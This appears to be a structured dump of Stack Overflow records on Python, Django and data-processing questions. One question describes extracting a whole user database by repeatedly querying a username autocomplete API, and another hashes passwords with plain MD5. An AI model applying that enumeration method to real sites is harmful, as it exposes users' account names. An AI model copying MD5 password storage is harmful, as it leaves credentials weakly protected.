tags question: http://stackoverflow.com/q/49539798
tags question: http://stackoverflow.com/q/49515530
tags question: http://stackoverflow.com/q/49538106
tags question: http://stackoverflow.com/q/49527158
tags question: http://stackoverflow.com/q/49440379
tags question: http://stackoverflow.com/q/49455722
tags question: http://stackoverflow.com/q/49593656
tags question: http://stackoverflow.com/q/49513098
tags question: http://stackoverflow.com/q/49581451
tags question: http://stackoverflow.com/q/49559770
tags question: http://stackoverflow.com/q/49456383
tags question: http://stackoverflow.com/q/49572035
tags question: http://stackoverflow.com/q/49526713
tags question: http://stackoverflow.com/q/49591682
tags question: http://stackoverflow.com/q/49590874
tags question: http://stackoverflow.com/q/49510037
tags question: http://stackoverflow.com/q/49556145
tags question: http://stackoverflow.com/q/49599566
tags question: http://stackoverflow.com/q/49548364
tags question: http://stackoverflow.com/q/49476516
tags question: http://stackoverflow.com/q/49445476
tags question: http://stackoverflow.com/q/49503941
tags question: http://stackoverflow.com/q/49592777
tags question: http://stackoverflow.com/q/49532873
tags question: http://stackoverflow.com/q/49487308
tags question: http://stackoverflow.com/q/49519039
tags question: http://stackoverflow.com/q/49455467
tags question: http://stackoverflow.com/q/49500259
tags question: http://stackoverflow.com/q/49484580
tags question: http://stackoverflow.com/q/49543194
tags question: http://stackoverflow.com/q/49464705
tags question: http://stackoverflow.com/q/49565108
tags question: http://stackoverflow.com/q/49458974
tags question: http://stackoverflow.com/q/49482876
tags question: http://stackoverflow.com/q/49562976
tags question: http://stackoverflow.com/q/49500179
tags question: http://stackoverflow.com/q/49443513
tags question: http://stackoverflow.com/q/49473021
tags question: http://stackoverflow.com/q/49497502
tags question: http://stackoverflow.com/q/49518800
tags question: http://stackoverflow.com/q/49541513
tags question: http://stackoverflow.com/q/49498466
tags question: http://stackoverflow.com/q/49537600
tags question: http://stackoverflow.com/q/49524761
tags question: http://stackoverflow.com/q/49572245
tags question: http://stackoverflow.com/q/49540922
tags question: http://stackoverflow.com/q/49526792
tags question: http://stackoverflow.com/q/49553357
tags question: http://stackoverflow.com/q/49500504
tags question: http://stackoverflow.com/q/49590099

http://stackoverflow.com/comment/86068620
type: QuestionComment
has text: BTW Python 3 is provided by package `python3` (and `python3-dev` for development files), not `python`. Actually there's no package `python`, that's just alternative name for `python2`.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49481678

http://stackoverflow.com/q/49584713
tagged with: python-3.x
tagged with: extract
answer count: 0
upvote count: 3
type: UnansweredQuestion
tagged with: autocomplete
downvote count: 0
has body: This is a question asked by OpenAI and submission date has passed away so finally I can ask this because I am very curious to know the answer. Question: You're on a website (such as Github!) with a text field which autocompletes usernames as you type. Under the hood, there's an API call which takes in the prefix of a username and then returns all usernames which start with that prefix, lexicographically sorted and truncated at 5 results. Your task is to use this API call to dump the entire user database, specifically: Implement the extract function in autocomplete.py. extract should return the whole user database, making calls to query under the hood. Notes: You can assume all valid usernames are comprised of lowercase ASCII letters (a-z). Assume that queries to the API are expensive and should be minimized, but it's more important to have a correct answer and well-structured solution than an optimal answer. Below is the Started Code provided by the OpenAI def extract(query): """extract takes in a `query` API function (which returns the first 5 usernames, lexicographically sorted, that start with a prefix) and returns the sorted list of all usernames in the database. For example, the `query` function in provided in `main` works as follows: query("a") #=&gt; ["abracadara", "al", "alice", "alicia", "allen"] query("ab") #=&gt; ["abracadara"] The following implementation would pass the assertion in `main`, but is not a correct solution since it works only for that example `query`: def extract(query): return query("ab") + query("al") + query("altercation") + query("b") + query("el") + query("ev") + query("m") Your goal is to write an `extract` method that is correct for any provided `query`. """ # YOUR CODE HERE return [...] def main(): """Runs your solution -- no need to update (except to maybe try out different databases).""" # Sample implementation of the autocomplete API database = ["abracadara", "al", "alice", "alicia", "allen", "alter", "altercation", "bob", "eleme…
favorite count: 0
has comment: http://stackoverflow.com/comment/86238342
score: 3
tagged with: algorithm
has comment: http://stackoverflow.com/comment/86235731
tagged with: python
has comment: http://stackoverflow.com/comment/86331089
has title: OpenAI - Algorithm: Implement the extract function to extract database by making calls to query
type: Question

django
tags question: http://stackoverflow.com/q/49479958
tags question: http://stackoverflow.com/q/49474935
tags question: http://stackoverflow.com/q/49472099
tags question: http://stackoverflow.com/q/49578337
tags question: http://stackoverflow.com/q/49539319
tags question: http://stackoverflow.com/q/49482344
tags question: http://stackoverflow.com/q/49531005
tags question: http://stackoverflow.com/q/49440657
tags question: http://stackoverflow.com/q/49539305
tags question: http://stackoverflow.com/q/49551544
tags question: http://stackoverflow.com/q/49480930
tags question: http://stackoverflow.com/q/49490930
tags question: http://stackoverflow.com/q/49456680
tags question: http://stackoverflow.com/q/49545067
tags question: http://stackoverflow.com/q/49474163
tags question: http://stackoverflow.com/q/49506156
tags question: http://stackoverflow.com/q/49537392
tags question: http://stackoverflow.com/q/49571327
tags question: http://stackoverflow.com/q/49491737
tags question: http://stackoverflow.com/q/49501339
tags question: http://stackoverflow.com/q/49445589
tags question: http://stackoverflow.com/q/49472333
tags question: http://stackoverflow.com/q/49584875
tags question: http://stackoverflow.com/q/49518335
tags question: http://stackoverflow.com/q/49449324
tags question: http://stackoverflow.com/q/49557411
tags question: http://stackoverflow.com/q/49573112
tags question: http://stackoverflow.com/q/49507498
tags question: http://stackoverflow.com/q/49486495
tags question: http://stackoverflow.com/q/49536298
tags question: http://stackoverflow.com/q/49582631
tags question: http://stackoverflow.com/q/49579783
tags question: http://stackoverflow.com/q/49586301
tags question: http://stackoverflow.com/q/49460487
tags question: http://stackoverflow.com/q/49475370
tags question: http://stackoverflow.com/q/49542465
tags question: http://stackoverflow.com/q/49511514
tags question: http://stackoverflow.com/q/49575383
tags question: http://stackoverflow.com/q/49440927
tags question: http://stackoverflow.com/q/49579058
tags question: http://stackoverflow.com/q/49475312
tags question: http://stackoverflow.com/q/49547074
tags question: http://stackoverflow.com/q/49447263
tags question: http://stackoverflow.com/q/49461478
tags question: http://stackoverflow.com/q/49500117
tags question: http://stackoverflow.com/q/49583011
tags question: http://stackoverflow.com/q/49510343
tags question: http://stackoverflow.com/q/49567351
tags question: http://stackoverflow.com/q/49463552
tags question: http://stackoverflow.com/q/49591509
tags question: http://stackoverflow.com/q/49489871
tags question: http://stackoverflow.com/q/49540983
tags question: http://stackoverflow.com/q/49548972
tags question: http://stackoverflow.com/q/49482742
tags question: http://stackoverflow.com/q/49566925
tags question: http://stackoverflow.com/q/49521949
tags question: http://stackoverflow.com/q/49518085
tags question: http://stackoverflow.com/q/49461740
tags question: http://stackoverflow.com/q/49513297
tags question: http://stackoverflow.com/q/49552916
tags question: http://stackoverflow.com/q/49501849
tags question: http://stackoverflow.com/q/49539392
tags question: http://stackoverflow.com/q/49495403
tags question: http://stackoverflow.com/q/49556039
tags question: http://stackoverflow.com/q/49486097
tags question: http://stackoverflow.com/q/49521597
tags question: http://stackoverflow.com/q/49535240
tags question: http://stackoverflow.com/q/49468072
tags question: http://stackoverflow.com/q/49453330
tags question: http://stackoverflow.com/q/49585443
tags question: http://stackoverflow.com/q/49514318
tags question: http://stackoverflow.com/q/49505699
tags question: http://stackoverflow.com/q/49507921
tags question: http://stackoverflow.com/q/49531968
tags question: http://stackoverflow.com/q/49494107
tags question: http://stackoverflow.com/q/49578833
tags question: http://stackoverflow.com/q/49495314
tags question: http://stackoverflow.com/q/49518626
tags question: http://stackoverflow.com/q/49472651
tags question: http://stackoverflow.com/q/49451493

http://stackoverflow.com/a/49560237
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49537522
score: 0
accepted answer of: http://stackoverflow.com/q/49537522
type: Answer
has body: Tried everything ... every single pip, python version, modules ... My decision was to reinstall Mac OS and use only necessary files to launch what I need. So there is very less information about general concept Mac OS and Python. As I figured out ... There is package installation. (By mouse and finder). Homebrew installation (environment wich isolates you libraries and modules for python. More safer and can be restored with git repo. (Terminal) custom configuration with own paths. There are a lot of guides how to to it, but the main point is to use only one method. Moreover I had some: ImportError: No module named PyQt4.QtCore We can fix it by changing .py file and put there PyQt5 i.e. However, if you have updated everything, and it doesn't work, try to call Python3 your_script.py Good luck guys!

pyqt
type: Tag
tags question: http://stackoverflow.com/q/49537134
tags question: http://stackoverflow.com/q/49529047
tags question: http://stackoverflow.com/q/49522789
tags question: http://stackoverflow.com/q/49582598
tags question: http://stackoverflow.com/q/49527846
tags question: http://stackoverflow.com/q/49515411
tags question: http://stackoverflow.com/q/49531580
tags question: http://stackoverflow.com/q/49576715
tags question: http://stackoverflow.com/q/49538983
tags question: http://stackoverflow.com/q/49537522
tags question: http://stackoverflow.com/q/49497922
tags question: http://stackoverflow.com/q/49487019
tags question: http://stackoverflow.com/q/49555969
tags question: http://stackoverflow.com/q/49464153
tags question: http://stackoverflow.com/q/49460431
tags question: http://stackoverflow.com/q/49587518
tags question: http://stackoverflow.com/q/49553905
tags question: http://stackoverflow.com/q/49585442
tags question: http://stackoverflow.com/q/49461247
tags question: http://stackoverflow.com/q/49518545
tags question: http://stackoverflow.com/q/49583130
tags question: http://stackoverflow.com/q/49565928
tags question: http://stackoverflow.com/q/49487654
tags question: http://stackoverflow.com/q/49547837
tags question: http://stackoverflow.com/q/49599611
tags question: http://stackoverflow.com/q/49455971
tags question: http://stackoverflow.com/q/49591892
tags question: http://stackoverflow.com/q/49469983
tags question: http://stackoverflow.com/q/49597743
tags question: http://stackoverflow.com/q/49589862
tags question: http://stackoverflow.com/q/49445983
tags question: http://stackoverflow.com/q/49475547
tag name: pyqt
tags question: http://stackoverflow.com/q/49472761
tags question: http://stackoverflow.com/q/49567074
tags question: http://stackoverflow.com/q/49585205
tags question: http://stackoverflow.com/q/49536604
tags question: http://stackoverflow.com/q/49479603
tags question: http://stackoverflow.com/q/49522689
tags question: http://stackoverflow.com/q/49455129
tags question: http://stackoverflow.com/q/49546052
tags question: http://stackoverflow.com/q/49553388
tags question: http://stackoverflow.com/q/49492264
tags question: http://stackoverflow.com/q/49537968
tags question: http://stackoverflow.com/q/49558044
tags question: http://stackoverflow.com/q/49591087

http://stackoverflow.com/comment/86110726
has text: Your `start` method creates a new socket, connects it, and then throws it away. Remove the `s = socket.socket(...)` line or add `global s` at the top of the function.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49551765

http://stackoverflow.com/comment/85995986
type: AnswerComment
comment on: http://stackoverflow.com/a/49496023
has text: you sir are a legend, worked perfectly, Could you explain where I went wrong? and what I was missing, why does the pipe need to be split with a \ ? will be back to green tick your answer!
score: 0
type: Comment

http://stackoverflow.com/q/49507362
has body: I am trying to convert this PHP code into Python. It is simply returning options in tree hierarchy. function getAllSectors(&amp;$output = null, $parent_id = 0, $indent = null){ $statement = $this-&gt;connect()-&gt;prepare("SELECT id, name FROM sectors WHERE parent_id =:parent_id ORDER BY parent_id, sort_order"); $statement-&gt;execute(array( 'parent_id' =&gt; $parent_id )); // show the sectors one by one while($row = $statement-&gt;fetch()){ $output .= '&lt;option value=' . $row['id'] . '&gt;' . $indent . $row['name'] . "&lt;/option&gt;"; if($row['id'] != $parent_id){ // In case the current sectors's id is different than $parent_id // I call the function again with new parameters(so it is recursive) $this-&gt;getAllSectors($output, $row['id'], $indent . "&amp;nbsp;&amp;nbsp;"); } } // return the list of sectors(call out is in index.php) return $output; } And I tried like this in Python: class Category(BaseModel, Base): __tablename__ = 'category' __forbidden_fields__ = BaseModel.__forbidden_fields__ id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String(50)) parent_id = Column(Integer, ForeignKey('category.id')) sort_order = Column(Integer) users = relationship("UserCategory", back_populates="category") def get_all_categories(cls, output = '', parent_id = 0, indent = ''): categories = cls.db.query(Category).filter(Category.is_deleted == 0).all() output = "&lt;option value='{id}'&gt;'{indent}''{name'}' &lt;/option&gt;" for c in categories: if c.id != parent_id: cls.get_all_categories(output, c.id, indent) print(output) I am using Python, SQLAlchemy, Tornado, Backbone. But I do not know how to pass by reference the output parameter. I aso think that the Python version has infinity loop, am I correct? Can anybody give me suggestions?
tagged with: python
has answer: http://stackoverflow.com/a/49507575
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86018851
upvote count: 1
downvote count: 1
answer count: 1
has title: Fetch one and one row in Python(Tree function)
tagged with: sqlalchemy
has comment: http://stackoverflow.com/comment/86019077
has comment: http://stackoverflow.com/comment/86019222
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49507575

http://stackoverflow.com/a/60456086
has body: Adding the Replay429Adapter is the correct solution for this error and a real resilient client. My client connection looks like this (using IAM auth): from cloudant.client import Cloudant from cloudant.adapters import Replay429Adapter db_client = Cloudant.iam(cloudant_username, cloudant_apikey, connect=True, adapter=Replay429Adapter(retries=10, initialBackoff=0.01))
answers question: http://stackoverflow.com/q/49541162
type: Answer
score: 0

http://stackoverflow.com/q/49482313
downvote count: 0
upvote count: 1
score: 1
has answer: http://stackoverflow.com/a/49482352
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/85967455
type: Question
has body: Ok, so the script below is going to run on an RPI3 to monitor Network speed. I need a way to stop infinite loop without interrupting the process every cycle. As of right now, the script won't exit the loop before the program is terminated. That is a huge problem because I need to save it with the workbook.close() function. Another way to solve this would be to just close the file for each cycle, but as far as I know, you can't edit a xlsx file with xlsxwriter. Only write new... import xlsxwriter import pyspeedtest import time workbook = xlsxwriter.Workbook('data.xlsx') worksheet = workbook.add_worksheet() st = pyspeedtest.SpeedTest() def testspeed(): ping = st.ping() upload = st.upload() download = st.download() return ping, upload, download n = 1 while True: p, u, d = testspeed() worksheet.write(n, 0, p) worksheet.write(n, 1, u) worksheet.write(n, 2, d) n += 1 time.sleep(3600) #Some user input to break the loop #but not hinder the process workbook.close() ps : it would make me very happy if someone could edit the title to something fitting....
has comment: http://stackoverflow.com/comment/85967541
tagged with: xlsxwriter
tagged with: python
has title: stopping an infinite loop with no preset exit condition
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49482352

http://stackoverflow.com/q/49473862
linked to: http://stackoverflow.com/q/59009797
tagged with: lxml
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/85950321
answer count: 1
has title: Heavily nested XML to CSV using Python
has comment: http://stackoverflow.com/comment/85951046
has comment: http://stackoverflow.com/comment/85952576
has comment: http://stackoverflow.com/comment/85982664
favorite count: 0
tagged with: http://stackoverflow.com/tag/xml
tagged with: beautifulsoup
type: Question
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49496804
downvote count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/85986799
has body: I have following XML file which I want to convert to CSV using Python. <?xml version="1.0" encoding="UTF-8"?> <destinations/> <member_process result="KO" vacation="undefined"> <individual_audience> <individual_audience_tvset id="1"> <channel session="5647128" begin="56435" end="76896"/> </individual_audience_tvset> </individual_audience> <parameter name="tvset_id" value="1"/> <parameter name="length" value="46384"/> <parameter name="end" value="2017-04-06T20:30:00"/> <parameter name="channel" value="1010128"/> </member_process> <member_process result="KO" vacation="undefined"> <individual_audience> <individual_audience_tvset id="1"> <channel session="5674897" begin="98765" end="76543"/> </individual_audience_tvset> </individual_audience> <parameter name="tvset_id" value="1"/> <parameter name="length" value="56745"/> <parameter name="end" value="2017-04-06T20:30:00"/> <parameter name="channel" value="4563256"/> </member_process> <member_process result="KO" vacation="undefined"> <individual_audience> <individual_audience_tvset id="1"> <channel session="1010128" begin="47218" end="93600"/> </individual_audience_tvset> </individual_audience> <parameter name="tvset_id" value="1"/> <parameter name="length" value="46382"/> <parameter name="end" value="2015-04-06T20:30:00"/> <parameter name="channel" value="1010128"/> </member_process> <member_process result="KO" vacation="undefined"> <individual_audience> <individual_audience_tvset id="1"> <channel session="1010128" begin="47219" end="93600"/> </individual_audience_tvset> </individual_audience> <parameter name="tvset_id" value="1"/> <parameter name="length" value="46381"/> <parameter name="end" value="2015-04-06T20:30:00"/> <parameter name="channel" value="1010128"/> </member_process> <member_process result="KO" vacation="undefined"> <individual_audience> <individual_audience_tvset id="1"> <channel session="1010128" begin="47220" end="93600"/> </individual_audience_tvset> </individual_audience> <parameter name="tvset_id" v…
score: 0

http://stackoverflow.com/comment/85958414
score: 0
type: Comment
has text: Variables are cheap (free actually), don't reuse for different things and make they to name what they hold, `ss` does not seem to name anything..
type: QuestionComment
comment on: http://stackoverflow.com/q/49477614

http://stackoverflow.com/q/49541413
tagged with: mode-analytics
tagged with: styling
has title: Pandas Multi-Index DataFrame styling without using apply() or applymap()
has body: I'm trying to highlight or emphasize the "Total" rows in my DataFrame. It looks like using apply() or applymap() is the most common way people have done conditional formatting but I'd like to simply identify rows to format using multi-index slicing. Have been stuck for a while here and could use some help. I'm doing this within Mode analytics, but I don;t think this should affect the approach. I'm trying to incrementally get to a solution by using applymap() to make all text in a slice red but it is not rendering when table is shown. Code View 1 DataFrame def color_positive_red(val): """ Takes a scalar and returns a string with the css property `'color: red'` for negative strings, black otherwise. """ color = 'red' if val &gt; 0 else 'black' return 'color: %s' % color final.style.applymap(color_negative_red, subset=final.loc[('1. Leads','Total')])
has comment: http://stackoverflow.com/comment/86090222
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86090447
tagged with: python
tagged with: css
score: 0
answer count: 0
tagged with: pandas

http://stackoverflow.com/comment/85962631
type: AnswerComment
comment on: http://stackoverflow.com/a/49479801
has text: I understand that, I’m not printing anything. I’m simply giving the log(), object ‘a’, which is either a list that is defined already, or an input sting which needs to be assigned as the variable to a new empty list.
type: Comment
score: 0

http://stackoverflow.com/comment/112241923
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/63363385
type: Comment
has text: perfect! I was trying many things, at last this worked for me, Thank you:)

http://stackoverflow.com/a/49552021
has body: By default, common users have listing, reading and executing permissions in Program Files folders and other operations will be blocked by User Access Control(UAC). It is better to install python in your user directory or other partitions rather than system partition. To solve your problem quickly, you can use "run as administrator" to start cmd, then run pip command again.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/49551707

http://stackoverflow.com/a/49473380
has comment: http://stackoverflow.com/comment/85964390
has comment: http://stackoverflow.com/comment/86054379
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49472962
has body: Update This simpler method using opencv functions actually faster, and probably faster than the other methods presented in the other answers here. def crop_fastest(arr): return cv2.boundingRect(cv2.findNonZero(arr)) This return the x, y, width, and the height of bounding box. On my desktop pc for my old code 1000 loops, best of 3: 562 µs per loop while for this new code 10000 loops, best of 3: 179 µs per loop. Yet Another Update As Chupo_cro pointed out simply calling cv2.boundingRect(arr) returns the same result, and that seems to be due to the code in this function that does the conversion internally. Previous answer Probably there are faster methods for this. This simpler function is slightly faster. from scipy import ndimage def crop_fast(arr): slice_x, slice_y = ndimage.find_objects(arr&gt;0)[0] return arr[slice_x, slice_y] To compare the speeds of droooze's code and this one, arr = np.zeros(shape=(50000,6), dtype=np.uint8) arr[2] = [9,8,0,0,1,1] arr[1] = [0,3,0,0,1,1] Then %timeit crop(arr) returns 1000 loops, best of 3: 1.62 ms per loop and %timeit crop_fast(arr) returns 1000 loops, best of 3: 979 µs per loop on my laptop. That is, crop_fast() takes about 60% of time by crop().
score: 5
has comment: http://stackoverflow.com/comment/86058181
upvote count: 5
answers question: http://stackoverflow.com/q/49472962
has comment: http://stackoverflow.com/comment/86099151
has comment: http://stackoverflow.com/comment/85962111
type: Answer

http://stackoverflow.com/q/49539305
tagged with: python
has title: deleting an object in django
score: 0
has body: i want to delete a task from the database so i use this code this is my delete view def task_Delete(request,id=None): if request.method == 'POST': form = TaskForm() id = int(request.POST.get('task.id')) task = Task.objects.get(id=id) task.delete() messages.success(request,"successfully delete") return render_to_response('home.html', {'form': form}) and that is my urls.py url(r'^task_Delete/$', views.task_Delete, name='task_Delete') this the code of the button delete : &lt;form action="{% url 'task_Delete' %}" method="post" &gt; {% csrf_token %} &lt;input type="hidden" name="task_id" value="{{task.id}}" /&gt; &lt;input type="submit" value="delete task"&gt; &lt;/form&gt;&lt;/td&gt; &lt;/tr&gt; when i click on delete nothing happend i don't know why , please help thanks in advance
tagged with: http://stackoverflow.com/tag/html
answer count: 1
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49539438
tagged with: django

http://stackoverflow.com/comment/86026191
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49510764
has text: Hello Lior, thanks for your comment. I've since added some sample data to the question. It's the pressure values that I'm trying to select from each file. My issue is that I have around 10,000 files to do this for so trying to find best(quickest) approach.
type: Comment

http://stackoverflow.com/q/49559414
type: UnansweredQuestion
has title: loop Read_csv to pandas dataframe
tagged with: dataframe
tagged with: python
score: 0
tagged with: pandas
has answer: http://stackoverflow.com/a/49559583
answer count: 1
type: Question
has body: i want to load all .csv files from a folder into a list of seperate dataframes for each file the folder is called coins. for file in './coins': logs_total = [pd.read_csv('./coins/'+file, engine='python')] The error: IsADirectoryError: [Errno 21] Is a directory: './coins/.' without engine='python' its : ParserError: Error tokenizing data. C error: Calling read(nbytes) on source failed. Try engine='python'.

http://stackoverflow.com/q/49597392
has answer: http://stackoverflow.com/a/49597808
type: AnsweredQuestion
has body: I'm trying to use an Apache Beam pipeline to write entities to the Google Cloud Datastore. For testing, I'm doing this in a local Python 2.7 virtual environment that is setup using the Apache Beam instructions. Coding is done in a Jupyter notebook locally. Here's the pseudo code I'm trying: import apache_beam as beam #from apache_beam.io.gcp.datastore.v1.datastoreio import WriteToDatastore from google.cloud import datastore from google.cloud.datastore.entity import Entity # projectId will be taken from the environment storage = datastore.Client() # The kind for the new entity gds_entity_kind = 'test_entity' class PrintFn(beam.DoFn): def process(self, element): print (element) return None def create_entity(entity_id, name): key = storage.key(gds_entity_kind, int(entity_id)) entity = Entity(key=key) entity.update({ 'name': name }) return entity lines = [ "'0815';'entity A'", "'4711';'entity B'" ] with beam.Pipeline() as p: (p | 'read lines' &gt;&gt; beam.Create(lines) | 'rows to columns' &gt;&gt; beam.Map(lambda v: v.split(';')) | 'remove quotes' &gt;&gt; beam.Map(lambda words: [word.strip('\'') for word in words]) | 'create entities' &gt;&gt; beam.Map(lambda fields: create_entity(*fields)) # | 'write to datastore' &gt;&gt; WriteToDatastore() | 'debug print' &gt;&gt; beam.ParDo(PrintFn()) ) I found this posting with the similar problem, but somewhat the answer seems unrelated to my situation?! I figure out that the problem seems to be related to the import statement from google.cloud import datastore in relation to from apache_beam.io.gcp.datastore.v1.datastoreio import WriteToDatastore If I restart the kernel and import the WriteToDataStore only, then I don't get any error. If I try to import both, I get this error. Any help is appreciated! --------------------------------------------------------------------------- TypeError Traceback (most recent call last) &lt;ipython-input-10-45d84b2c60ba&gt; in &lt;module&gt;() 1 import apache_beam as beam ----&gt; 2 from apache_…
tagged with: apache-beam
tagged with: google-cloud-dataflow
tagged with: python-2.x
linked to: http://stackoverflow.com/q/44117621
tagged with: python
has title: error while importing WriteToDatastore (Apache Beam/Google DataFlow)
tagged with: google-cloud-platform
score: 2
upvote count: 2
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/49597808
favorite count: 0
type: Question

http://stackoverflow.com/comment/85967840
score: 0
type: AnswerComment
has text: thanks. But my question wasnt specifically about SSH. i was mentionning that i had tried SSH with no success and was looking for another route
type: Comment
comment on: http://stackoverflow.com/a/49462185

http://stackoverflow.com/q/49462520
has comment: http://stackoverflow.com/comment/85934004
answer count: 3
has answer: http://stackoverflow.com/a/49462659
has body: I am writing a login page with Django 1.11. Somehow I received this message AttributeError at /login/ 'NoneType' object has no attribute 'is_active' My code is as below def login(request): if request.user.is_authenticated(): return HttpResponseRedirect('/index/') username = request.POST.get('username', '') password = request.POST.get('password', '') user = auth.authenticate(username=username, password=password) if user is None and user.is_active: auth.login(request, user) return HttpResponseRedirect('/index/') else: return render_to_response('login.html', RequestContext(request, locals())) And here is my template 用戶名稱: {% csrf_token %} 用戶密碼:
downvote count: 0
has answer: http://stackoverflow.com/a/49462550
favorite count: 0
type: Question
has title: Django1.11 AttributeError at /login/ 'NoneType' object has no attribute 'is_active'
upvote count: 2
has answer: http://stackoverflow.com/a/49462558
tagged with: django
tagged with: python
possible better answer: http://stackoverflow.com/a/49462659
score: 2
accepted answer: http://stackoverflow.com/a/49462558
type: AnsweredQuestion

http://stackoverflow.com/q/49488896
favorite count: 0
type: Question
has title: TypeError: Unicode-objects must be encoded before hashing What is wrong?
type: UnansweredQuestion
tagged with: django
upvote count: 1
tagged with: python
linked to: http://stackoverflow.com/q/14083111
has comment: http://stackoverflow.com/comment/85980489
has body: I got an error,TypeError: Unicode-objects must be encoded before hashing. I wrote codes, user = Data() passwd = request.data['password'] md5 = hashlib.md5() md5.update(passwd) user.password = md5.hexdigest() print(user.password) user.save() Traceback says Traceback (most recent call last): File "/usr/local/lib/python3.6/site-packages/django/core/handlers/exception.py", line 35, in inner response = get_response(request) File "/usr/local/lib/python3.6/site-packages/django/core/handlers/base.py", line 128, in _get_response response = self.process_exception_by_middleware(e, request) File "/usr/local/lib/python3.6/site-packages/django/core/handlers/base.py", line 126, in _get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/usr/local/lib/python3.6/site-packages/django/views/decorators/csrf.py", line 54, in wrapped_view return view_func(*args, **kwargs) File "/usr/local/lib/python3.6/site-packages/rest_framework/viewsets.py", line 95, in view return self.dispatch(request, *args, **kwargs) File "/usr/local/lib/python3.6/site-packages/rest_framework/views.py", line 494, in dispatch response = self.handle_exception(exc) File "/usr/local/lib/python3.6/site-packages/rest_framework/views.py", line 454, in handle_exception self.raise_uncaught_exception(exc) File "/usr/local/lib/python3.6/site-packages/rest_framework/views.py", line 491, in dispatch response = handler(request, *args, **kwargs) File "/opt/project/app/views.py", line 27, in create md5.update(passwd) I added #coding:utf-8 to top of the code,but same error happens.What is wrong in my codes?How should I fix this?
answer count: 1
has answer: http://stackoverflow.com/a/49488968
downvote count: 0
linked to: http://stackoverflow.com/q/7585307
linked to: http://stackoverflow.com/q/27519306
score: 1
has comment: http://stackoverflow.com/comment/85981393

http://stackoverflow.com/comment/86000523
comment on: http://stackoverflow.com/q/49498210
score: 0
type: Comment
type: QuestionComment
has text: Have you tried rebooting after the installation? Also, are you sure the error is the same after you installed the build tools?

http://stackoverflow.com/a/49498042
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49497990
answers question: http://stackoverflow.com/q/49497990
type: Answer
score: 0
has body: In python, indentation is very important. You have defined some functions at an indented level. You must define your functions at the base level.

http://stackoverflow.com/q/49560753
tagged with: list
has title: Python Word Unscrambler: Code not permuting through entire list, but permutes individual list items
has comment: http://stackoverflow.com/comment/86129680
accepted answer: http://stackoverflow.com/a/49560948
answer count: 1
has answer: http://stackoverflow.com/a/49560948
tagged with: permutation
type: Question
has body: I am new to Python and am trying to unscramble words for the challenge on HackThisSite. I have a scrambled_list and a wordlist. My goal with this code is to run permutations of the scrambled words and store them in a list called 'perms'. I then want to see if any of the permutations exist in the normal wordlist called 'myWords.' If so, they will be appended to the 'Solutions' list. My issue is, the code works correctly for individual list items (e.g., sWords[0], or sWords[2]), but it won't permute through the entire list in one go. Here is the code: import os import string from itertools import permutations os.chdir('C:\Users\goodmat\Documents\Programming Challenges') s = open('scrambled_list.txt', 'r') w = open('wordlist.txt', 'r') myWords = [] sWords = [] solutions = [] with w as f: myWords = [line.strip() for line in f] with s as g: sWords = [line.strip() for line in g] def permute(): perms = [''.join(p) for p in permutations(sWords)] for each in perms: if each in myWords: solutions.append(each) permute() print solutions
has comment: http://stackoverflow.com/comment/86129716
tagged with: python
type: AnsweredQuestion
score: 0

http://stackoverflow.com/a/49481583
answers question: http://stackoverflow.com/q/49481345
score: 27
upvote count: 27
accepted answer of: http://stackoverflow.com/q/49481345
type: AcceptedAnswer
downvote count: 0
has body: There is a good article on color balancing at Illuminant Estimation: Simplest Color Balance. The code is in MATLAB but a guy named Roy ported it to C++ using OpenCV here: Simplest Color Balance with OpenCV [w/code]. David Young-Chan Kay took that same code and ported it to Python 2.7.8 and OpenCV 2.4.10 here: https://gist.github.com/DavidYKay/9dad6c4ab0d8d7dbf3dc Below is an original image like that in your reference, and below it is the output of the algorithm.
type: Answer

http://stackoverflow.com/a/49468792
score: 2
answers question: http://stackoverflow.com/q/49468732
has comment: http://stackoverflow.com/comment/85940406
has comment: http://stackoverflow.com/comment/85940479
upvote count: 2
has body: It seems like this is just permutations of range(n): from itertools import permutations for var in permutations(range(n)): # do something with var[0], var[1], ..., var[n-1] print var According to the documentation Permutations are emitted in lexicographic sort order. So, if the input iterable is sorted, the permutation tuples will be produced in sorted order. I think that means this will give you the same ordering as the approach in your example. For n=3 you get: (0, 1, 2) (0, 2, 1) (1, 0, 2) (1, 2, 0) (2, 0, 1) (2, 1, 0) If you are interested in how this is being generated, the source for itertools.permutations has the equivalent python code in its comments (the actual implementation is in C): def permutations(iterable, r=None): 'permutations(range(3), 2) --&gt; (0,1) (0,2) (1,0) (1,2) (2,0) (2,1)' pool = tuple(iterable) n = len(pool) r = n if r is None else r indices = range(n) cycles = range(n-r+1, n+1)[::-1] yield tuple(pool[i] for i in indices[:r]) while n: for i in reversed(range(r)): cycles[i] -= 1 if cycles[i] == 0: indices[i:] = indices[i+1:] + indices[i:i+1] cycles[i] = n - i else: j = cycles[i] indices[i], indices[-j] = indices[-j], indices[i] yield tuple(pool[i] for i in indices[:r]) break else: return
downvote count: 0
type: Answer

http://stackoverflow.com/q/49583137
accepted answer: http://stackoverflow.com/a/49585343
upvote count: 5
has comment: http://stackoverflow.com/comment/86196877
tagged with: python
has comment: http://stackoverflow.com/comment/86331585
has answer: http://stackoverflow.com/a/49585343
score: 4
type: AnsweredQuestion
has title: Python Selenium web driver with chrome driver gets detected
answer count: 2
has comment: http://stackoverflow.com/comment/86188234
has comment: http://stackoverflow.com/comment/86331600
